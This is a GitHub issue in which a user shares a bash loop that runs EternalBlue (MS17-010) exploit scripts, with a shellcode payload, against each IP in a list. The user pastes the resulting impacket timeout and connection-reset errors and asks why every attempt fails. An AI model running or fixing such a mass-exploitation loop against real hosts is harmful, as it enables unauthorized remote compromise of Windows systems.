Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Any ip = error #21

Open
boomuo opened this issue Dec 4, 2017 · 0 comments
Open

Any ip = error #21

boomuo opened this issue Dec 4, 2017 · 0 comments

Comments

@boomuo
Copy link

boomuo commented Dec 4, 2017

I have error each exploit ip. Whay this error?
Code:

for ip in cat ips;
do
python MS17-010/eternalblue_exploit7.py $ip MS17-010/shellcode/sc_all.bin
python MS17-010/eternalblue_exploit8.py $ip MS17-010/shellcode/sc_all.bin
done

Error:

shellcode size: 1739
numGroomConn: 4
Traceback (most recent call last):
File "MS17-010/eternalblue_exploit7.py", line 563, in
exploit(TARGET, sc, numGroomConn)
File "MS17-010/eternalblue_exploit7.py", line 473, in exploit
conn = smb.SMB(target, target)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2402, in init
self.neg_session()
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2605, in neg_session
smb = self.recvSMB()
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2473, in recvSMB
r = self._sess.recv_packet(self.__timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 855, in recv_packet
data = self.__read(timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 933, in __read
data = self.read_function(4, timeout)
File "/usr/lib/python2.7/dist-packages/impacket/nmb.py", line 918, in non_polling_read
raise NetBIOSTimeout
impacket.nmb.NetBIOSTimeout: The NETBIOS connection with the remote host timed out.

and

socket.error: [Errno 104] Connection reset by peer

...

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant